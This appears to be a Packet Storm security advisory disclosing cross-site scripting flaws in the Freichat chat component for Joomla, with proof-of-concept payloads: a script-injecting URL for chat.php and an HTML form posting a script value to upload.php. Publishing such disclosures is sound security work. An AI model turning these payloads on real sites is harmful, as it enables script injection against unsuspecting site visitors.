Joomla Freichat Cross Site Scripting

2014-03-1500:00:00

Mahmoud Ghorbanzadeh

packetstormsecurity.com

0.003 Low

EPSS

Percentile

71.1%

JSON

`Hello,  
  
Multiple cross-site scripting (XSS) vulnerabilities in Freichat  
component for Joomla! allow remote attackers to inject  
arbitrary web script or HTML code via (1) the id or xhash parameters to  
/client/chat.php or (2) the toname parameter to /client/plugins/upload/upload.php.  
  
  
File: /client/chat.php  
Line: 53  
POC:  
http://site/client/chat.php?id=1"  
></script><script>alert('XSS  
1')</script>&xhash=1" <script>alert('XSS  
2')</script>  
  
  
File: /client/plugins/upload/upload.php  
Line: 91  
POC:  
</style>  
<body>  
<div  
class="frei_upload_border">  
<form name="upload"  
action="http://site/client/plugins/upload/upload.php"  
method="post" enctype="multipart/form-data">  
<label  
for="file">choose file to send</label><br/><br/>  
<input id ="fromid"  
type="hidden" name="fromid"/>  
<input id="fromname"  
type="hidden" name="fromname"/>  
<input id="toid"  
type="hidden" name="toid"/>  
<!--  
<input id="toname" type="hidden"  
name="toname"/> -->  
<input id="toname"  
type="hidden" name="toname"  
value="<script>alert('XSS')</script>"/>  
<input type="file"  
name="file" id="file" value="a.jpeg" />  
<br /><br/>  
<input class ="frei_upload_button"  
type="submit" name="submit" value="Send" />  
</form>  
</div>  
</body></html>  
  
Discovered by Mahmoud Ghorbanzadeh, in Amirkabir University of  
Technology's Scientific Excellence and Research Centers.  
  
Best Regards.  
`

0.003 Low

EPSS

Percentile

71.1%

JSON

Related for PACKETSTORM:125737